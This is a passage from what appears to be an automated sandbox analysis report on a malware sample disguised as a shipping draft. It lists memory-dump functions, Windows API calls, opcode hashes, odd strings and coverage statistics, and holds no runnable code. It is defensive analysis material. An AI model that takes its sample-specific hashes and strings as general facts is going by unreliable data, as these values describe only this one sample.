                                                                                        • Opcode Fuzzy Hash: d5854f117589b046cccc83764ff21f2d65a101c6db89310d73d36beec4f58bef
                                                                                        • Instruction Fuzzy Hash: DB1149B59002488FDB10DFAAC4456EEFBF5EF89310F148819D559A7240C779A944CFA1
                                                                                        Function 07729140 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: ResumeThread
                                                                                        • String ID:
                                                                                        • API String ID: 947044025-0
                                                                                        • Opcode ID: 89de3951dfb271f33adaac4d9e4a24b75fb839c797969ae6d292032983e47edd
                                                                                        • Instruction ID: 6495881bb4f53a1b4c43534139095261540f3ef0475dc66d93063679fa7374fd
                                                                                        • Opcode Fuzzy Hash: 89de3951dfb271f33adaac4d9e4a24b75fb839c797969ae6d292032983e47edd
                                                                                        • Instruction Fuzzy Hash: 801136B1D002498FDB20DFAAC4457EEFBF5EF89324F248819D519A7240CB79A945CFA4
                                                                                        Function 02E0B4B8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleHandleW.KERNELBASE(00000000), ref: 02E0B51E
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2039653240.0000000002E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_2e00000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: HandleModule
                                                                                        • String ID:
                                                                                        • API String ID: 4139908857-0
                                                                                        • Opcode ID: d4e5d8d9cc6923c2624474792f2d287f793905f58cf4d16aec381984139c08eb
                                                                                        • Instruction ID: 49c7945b2d9f2657c092ac66943a819dad7d61df5372e8002e0b7c78d55b6641
                                                                                        • Opcode Fuzzy Hash: d4e5d8d9cc6923c2624474792f2d287f793905f58cf4d16aec381984139c08eb
                                                                                        • Instruction Fuzzy Hash: 6E1110B5C002498FDB10CF9AD444ADEFBF5FF88318F14845AD418A7250D379A585CFA1
                                                                                        Function 0772BD58 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • PostMessageW.USER32(?,00000010,00000000,?), ref: 0772BDBD
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: MessagePost
                                                                                        • String ID:
                                                                                        • API String ID: 410705778-0
                                                                                        • Opcode ID: c34024ec8649c7c30a89d49f259f484b244293fa61764949b1767dc709e418bb
                                                                                        • Instruction ID: 8856aea2ad8f44c26d2052a8ff9bcb0aded117c06a7bf386ef69024eb095a79e
                                                                                        • Opcode Fuzzy Hash: c34024ec8649c7c30a89d49f259f484b244293fa61764949b1767dc709e418bb
                                                                                        • Instruction Fuzzy Hash: C911F2B58003499FDB10DF9AC885BDEFBF8FB49320F108419E958A7210D379A944CFA1
                                                                                        Function 07727DD8 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • PostMessageW.USER32(?,00000010,00000000,?), ref: 0772BDBD
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: MessagePost
                                                                                        • String ID:
                                                                                        • API String ID: 410705778-0
                                                                                        • Opcode ID: 59252bb475bf5ad78f028093afbc954020cdc11c06d8071b8d81d1939b319fda
                                                                                        • Instruction ID: 72d7d233cba8bd1b415872991241fbb121206eac0da8f654c5df312b6f1f735d
                                                                                        • Opcode Fuzzy Hash: 59252bb475bf5ad78f028093afbc954020cdc11c06d8071b8d81d1939b319fda
                                                                                        • Instruction Fuzzy Hash: DC1122B58003099FDB10DF8AC484BDEBBF8FB48320F108419E518A7210D379A950CFA4
                                                                                        Function 059164B9 Relevance: 1.3, APIs: 1, Instructions: 50COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,05916371,?,?), ref: 05916518
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: CloseHandle
                                                                                        • String ID:
                                                                                        • API String ID: 2962429428-0
                                                                                        • Opcode ID: ec604549eba80632704104b6f5b7cf0c8106994350dac024459254e581a72da8
                                                                                        • Instruction ID: 2983c8fbc13f2bc7980f48de8e2f3229a6be56ea5c9ebbea10a8702e78d63f9d
                                                                                        • Opcode Fuzzy Hash: ec604549eba80632704104b6f5b7cf0c8106994350dac024459254e581a72da8
                                                                                        • Instruction Fuzzy Hash: DF1125B58003498FDB10DF9AC545BDEBBF4EB48320F108429D958A7240D338A944CFA5
                                                                                        Function 0591412C Relevance: 1.3, APIs: 1, Instructions: 50COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,05916371,?,?), ref: 05916518
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: CloseHandle
                                                                                        • String ID:
                                                                                        • API String ID: 2962429428-0
                                                                                        • Opcode ID: 52df4a2799c2f870525dd392300ae2497643700eda2ee38efcaa4bd72c470d96
                                                                                        • Instruction ID: bc77030d79506f2667eb83d4856e8f025a103e14a01a6daffdc57f4f19979447
                                                                                        • Opcode Fuzzy Hash: 52df4a2799c2f870525dd392300ae2497643700eda2ee38efcaa4bd72c470d96
                                                                                        • Instruction Fuzzy Hash: DC1125B58007498FDB10DF9AC545BEEFBF4EB48320F108459D959A7740D738A944CFA5
                                                                                        Function 00F9D01C Relevance: .1, Instructions: 72COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2038464856.0000000000F9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F9D000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_f9d000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: c7705810ab2f909aae56683e4eba3c274d2f43ef755ab8f14766b0c9e9efdf75
                                                                                        • Instruction ID: 4caa1083f4c28b8345406436d2c2ebc61775cb5f19e122dee245aebef5131a47
                                                                                        • Opcode Fuzzy Hash: c7705810ab2f909aae56683e4eba3c274d2f43ef755ab8f14766b0c9e9efdf75
                                                                                        • Instruction Fuzzy Hash: 8521F571904204DFEF15DF24D584B16BF65FB84324F30C569D94A4B26AC33AD807EA61
                                                                                        Function 00F9D1D4 Relevance: .1, Instructions: 72COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2038464856.0000000000F9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F9D000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_f9d000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: d901f9f472e52fab44839ade259c3b8cc0ec8c4e84c51d4d1387ebe3cd020057
                                                                                        • Instruction ID: a5ce9308759865c5147df7691d8ca44058ece67e53f53079d46813b820d0e599
                                                                                        • Opcode Fuzzy Hash: d901f9f472e52fab44839ade259c3b8cc0ec8c4e84c51d4d1387ebe3cd020057
                                                                                        • Instruction Fuzzy Hash: 7C210471904204EFEF05DF24D9C0F26BBA5FB88324F30C56DE9094B296C33AD846EA61
                                                                                        Function 00F9D005 Relevance: .1, Instructions: 62COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2038464856.0000000000F9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F9D000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_f9d000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: ad786f883c5238ed81dc92792dae0569152362cf856f3fd857a23516d13ed4f2
                                                                                        • Instruction ID: 5d0e3ef3f93d2e1ef20de16bf079b293d97a55ccd0c0a4f4f73785001c331eb1
                                                                                        • Opcode Fuzzy Hash: ad786f883c5238ed81dc92792dae0569152362cf856f3fd857a23516d13ed4f2
                                                                                        • Instruction Fuzzy Hash: EB215E755093808FDB12CF24D994715BF71EB46324F28C5EAD8498B6A7C33A980ADB62
                                                                                        Function 00F9D1CF Relevance: .1, Instructions: 53COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2038464856.0000000000F9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F9D000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_f9d000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
                                                                                        • Instruction ID: b9e1317751e83c5efd42c2a95d17248b55766dbcfa620755d92282890c63a497
                                                                                        • Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
                                                                                        • Instruction Fuzzy Hash: 26118B75904280DFDB16CF14D9C4B15BBA1FB84324F24C6A9D8494B696C33AD84ADB62
                                                                                        Function 00F7D731 Relevance: .0, Instructions: 45COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2038316784.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_f7d000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 49817de35baa9dccfcbbc98378aa978b08324b11fbacef431466c78c32945e8a
                                                                                        • Instruction ID: d61e3c85ae6281ae4c1fdfc7c769f4d9f3bb2f58fea10cf02b94f7b3324dd7ce
                                                                                        • Opcode Fuzzy Hash: 49817de35baa9dccfcbbc98378aa978b08324b11fbacef431466c78c32945e8a
                                                                                        • Instruction Fuzzy Hash: 7C01F7714043049AE7148A29CD84B67FFA8EF85334F68C42BED0D4A282C2789C41DAB2
                                                                                        Function 00F7D730 Relevance: .0, Instructions: 36COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2038316784.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_f7d000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 95e8329d3328a33e7036a734ed745af97673d5121e642ebfc05fa1df8f7f2560
                                                                                        • Instruction ID: de17bf604078b3c4bba792effc8460751c07a5a5d90acbda3c7b2394b63c3395
                                                                                        • Opcode Fuzzy Hash: 95e8329d3328a33e7036a734ed745af97673d5121e642ebfc05fa1df8f7f2560
                                                                                        • Instruction Fuzzy Hash: D3F0C2714043449EE7148A1AC884B62FFE8EF91334F18C45AED0C4F282C2799C41CAB1

                                                                                        Non-executed Functions

                                                                                        Function 0591CAD8 Relevance: 7.3, Strings: 5, Instructions: 1028COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: 4']q$TJbq$Te]q$paq$xb`q
                                                                                        • API String ID: 0-1123639052
                                                                                        • Opcode ID: d6bb8c8ba98c5500c2881b29f9045f97380bf412c7ba65eecd84686cc088374c
                                                                                        • Instruction ID: b78cb8bac3bfed975e3908dfdaf56c8e25d163935cf627f79074bca5fab3adec
                                                                                        • Opcode Fuzzy Hash: d6bb8c8ba98c5500c2881b29f9045f97380bf412c7ba65eecd84686cc088374c
                                                                                        • Instruction Fuzzy Hash: 50B2C475E00228DFDB65CF69C984AD9BBB2FF89304F1581E9D509AB225DB319E81CF40
                                                                                        Function 0591CAC7 Relevance: 4.0, Strings: 3, Instructions: 243COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: TJbq$Te]q$xb`q
                                                                                        • API String ID: 0-1930611328
                                                                                        • Opcode ID: 37b85b7f0fb9ba4d5139ba8b6f0a89b5320fc4b33f21b905190be4650f487f49
                                                                                        • Instruction ID: 93376db2bb0e72a5ab92bf67bb5399861a56550621c3dd3fc7e61e08bde5678d
                                                                                        • Opcode Fuzzy Hash: 37b85b7f0fb9ba4d5139ba8b6f0a89b5320fc4b33f21b905190be4650f487f49
                                                                                        • Instruction Fuzzy Hash: 34B16475E006288FDB58CF6AC944ADDBBF2BF89301F14C1A9D809AB365DB345E858F50
                                                                                        Function 07726A00 Relevance: 1.6, Strings: 1, Instructions: 312COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: 5kwb
                                                                                        • API String ID: 0-1643191307
                                                                                        • Opcode ID: d51000c1d46d16868cd8c92e01fe9e81263368f3831dadbca390af331ce86f18
                                                                                        • Instruction ID: 4950812c7099b86bdc9a7df9f1250c1c23bcdd10916787f7239a19f952404817
                                                                                        • Opcode Fuzzy Hash: d51000c1d46d16868cd8c92e01fe9e81263368f3831dadbca390af331ce86f18
                                                                                        • Instruction Fuzzy Hash: 33E10AB4E002198FCB14DFA9C5809AEBBF2FF49305F24856AD814AB356D735AD42DF60
                                                                                        Function 05910040 Relevance: 1.5, Strings: 1, Instructions: 257COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: Haq
                                                                                        • API String ID: 0-725504367
                                                                                        • Opcode ID: 05da92c8bd62eb9a2f72df3a6de952f5ea40636c12756062e4eb74ac250f5893
                                                                                        • Instruction ID: e0c3bffc958cc1a5646d0e50ae4918dd1f87e773d686f7ac4668b1106f95a56f
                                                                                        • Opcode Fuzzy Hash: 05da92c8bd62eb9a2f72df3a6de952f5ea40636c12756062e4eb74ac250f5893
                                                                                        • Instruction Fuzzy Hash: 73A16270E002099FDB44EFB8D494AAEBBF6FF88340F108469D409AB355DB38AD42DB55
                                                                                        Function 0591C830 Relevance: 1.4, Strings: 1, Instructions: 170COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: 4']q
                                                                                        • API String ID: 0-1259897404
                                                                                        • Opcode ID: d83e2ad92ea2d7e715d61c6c9a27e08bb611506b6e4019f2bbe5bba148a1f9a3
                                                                                        • Instruction ID: ffff1a941ff5a773c5b1ef8cb812cef857de6c3823056f43fa3e59bb513b5d90
                                                                                        • Opcode Fuzzy Hash: d83e2ad92ea2d7e715d61c6c9a27e08bb611506b6e4019f2bbe5bba148a1f9a3
                                                                                        • Instruction Fuzzy Hash: A1710EB0A102499FD748DF6AE945A9A7FFAFF84300F14C539E004AB365EB786905DB41
                                                                                        Function 0591C840 Relevance: 1.4, Strings: 1, Instructions: 159COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: 4']q
                                                                                        • API String ID: 0-1259897404
                                                                                        • Opcode ID: da902e522705e9750bda3a9fedab900079e07c359e3e5748812e17d81877bb37
                                                                                        • Instruction ID: 1f58da0f9cbd9ea1a9055b85acddc7d501d2712f68d263da5cd71d36281793ea
                                                                                        • Opcode Fuzzy Hash: da902e522705e9750bda3a9fedab900079e07c359e3e5748812e17d81877bb37
                                                                                        • Instruction Fuzzy Hash: 7261FCB0A106499FD748DF7AE941A9A7FFAFF88300F14C539E004AB365EB786905DB41
                                                                                        Function 0772DF70 Relevance: .4, Instructions: 376COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 04cec0e372739ab776805368dc9309708675e48dc918a80b014f5a6a3711b677
                                                                                        • Instruction ID: 586426cc4c6c06ea5d0762791b4065808bd2367adf1c118c128b6e7123bf87f8
                                                                                        • Opcode Fuzzy Hash: 04cec0e372739ab776805368dc9309708675e48dc918a80b014f5a6a3711b677
                                                                                        • Instruction Fuzzy Hash: F7D1EFB0B007148FDB15DB75C4547AEB7F6AF89380F14886DE1168B390CB74E942DB61
                                                                                        Function 07727270 Relevance: .3, Instructions: 312COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0ea918547371f48259cb68210733975fcb6348b3b14931cf9c8bf32d91c4ea4a
                                                                                        • Instruction ID: 73ff8b9919951df9043972838d240a44e6c4444bcce4c4373ecf336a8ce4b66e
                                                                                        • Opcode Fuzzy Hash: 0ea918547371f48259cb68210733975fcb6348b3b14931cf9c8bf32d91c4ea4a
                                                                                        • Instruction Fuzzy Hash: A6E1E8B4E002198FCB14CFA9C5809AEFBF2FF49305F248569D914AB356D734A942DFA1
                                                                                        Function 077291F0 Relevance: .3, Instructions: 312COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 8b5450056a586d3aa6edb65485020e620ffcd304a1a503c76c45245e8288956e
                                                                                        • Instruction ID: 196d029fe43299480ed308889d5eb9bbcb37e751fce76305ce79370955f4060c
                                                                                        • Opcode Fuzzy Hash: 8b5450056a586d3aa6edb65485020e620ffcd304a1a503c76c45245e8288956e
                                                                                        • Instruction Fuzzy Hash: 8EE1F8B4E002198FCB14CFA9C5809AEBBF2FF89305F248569D914AB356D734AD42DF61
                                                                                        Function 07726E38 Relevance: .3, Instructions: 312COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 3503a2ec43e0e1b76eaae239864f5f9c0c953f30fba360be55962128c4ab3e6d
                                                                                        • Instruction ID: 6ae2fe49bc1e5deff1157654aefcdff9259eb7c62bec4069de4dc272ff8b0b95
                                                                                        • Opcode Fuzzy Hash: 3503a2ec43e0e1b76eaae239864f5f9c0c953f30fba360be55962128c4ab3e6d
                                                                                        • Instruction Fuzzy Hash: 37E1F8B4E002198FCB14CFA8C5809AEBBF2FF89305F24C569D914A7356D735A942DFA1
                                                                                        Function 07728918 Relevance: .3, Instructions: 312COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 6f3a5e38932a9d02409359be9a07051db2d3250dd39f811e21092eafdcd328dd
                                                                                        • Instruction ID: f8ceb171302658c2d59accaf167513b108cd1f112fe7dc7c5d6711545bd78fb6
                                                                                        • Opcode Fuzzy Hash: 6f3a5e38932a9d02409359be9a07051db2d3250dd39f811e21092eafdcd328dd
                                                                                        • Instruction Fuzzy Hash: 88E1EAB4E002198FCB14CFA9C5809AEBBF2FF89305F248569D414AB356D735AD42DF61
                                                                                        Function 02E0E094 Relevance: .3, Instructions: 264COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2039653240.0000000002E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_2e00000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: d566dc6b2ff5d2ccd66e5a9f32e740c551d05a0048fca618adda866997034f37
                                                                                        • Instruction ID: 6db49cdccd1ee28178eb70771a2de6af117a9f2bdf63da6a7721baa29ca6ff4f
                                                                                        • Opcode Fuzzy Hash: d566dc6b2ff5d2ccd66e5a9f32e740c551d05a0048fca618adda866997034f37
                                                                                        • Instruction Fuzzy Hash: 81A17132E402098FCF19DFB4C8845AEB7B2FF85304B199579E805AB295DB31E956CF50
                                                                                        Function 07728908 Relevance: .1, Instructions: 132COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 8264dfa2e9ad160a9ac9e798a5c5e0f075b6d81c6233f402de4033e15e7d9e72
                                                                                        • Instruction ID: c1344ea397a99d8c748e7dd80b2d3e7130bbc19131df98cfd32acc32ab0eb906
                                                                                        • Opcode Fuzzy Hash: 8264dfa2e9ad160a9ac9e798a5c5e0f075b6d81c6233f402de4033e15e7d9e72
                                                                                        • Instruction Fuzzy Hash: EB51FBB0E102198FDB14CFA9C9805AEBBF6FF89305F24C169D418A7316D735A942CFA1
                                                                                        Function 07726E28 Relevance: .1, Instructions: 130COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053920432.0000000007720000.00000040.00000800.00020000.00000000.sdmp, Offset: 07720000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_7720000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: dca64030556ae1c0ba78129f0f5085587d11ef7d8792f5307d7604351dc67680
                                                                                        • Instruction ID: 2c916900cc430071298fc06086aa77426f236ffaf747cfe9f5d821041f76796a
                                                                                        • Opcode Fuzzy Hash: dca64030556ae1c0ba78129f0f5085587d11ef7d8792f5307d7604351dc67680
                                                                                        • Instruction Fuzzy Hash: 9F513DB0E0021A8BCB14CFA9C5805AEFBF2FF89305F24C56AD418A7716D7349942DFA0

                                                                                        Execution Graph

                                                                                        Execution Coverage:2%
                                                                                        Dynamic/Decrypted Code Coverage:0%
                                                                                        Signature Coverage:1.9%
                                                                                        Total number of Nodes:742
                                                                                        Total number of Limit Nodes:17
